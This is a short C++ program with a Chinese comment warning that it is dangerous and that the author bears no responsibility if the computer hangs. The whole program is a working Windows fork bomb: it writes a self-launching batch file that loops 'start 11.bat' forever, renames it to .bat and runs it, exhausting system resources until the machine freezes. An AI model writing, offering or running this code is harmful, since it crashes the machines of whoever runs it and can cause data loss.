#include<bits/stdc++.h>//此代码危险,请勿运行,若运行代码电脑死机,本人概不负责
using namespace std;
int main(){
freopen("11.out","w",stdout); cout<<":1 \n start 11.bat \n goto 1"; fclose(stdout); system("ren 11.out 11.bat"); system("start 11.bat"); return 0;
}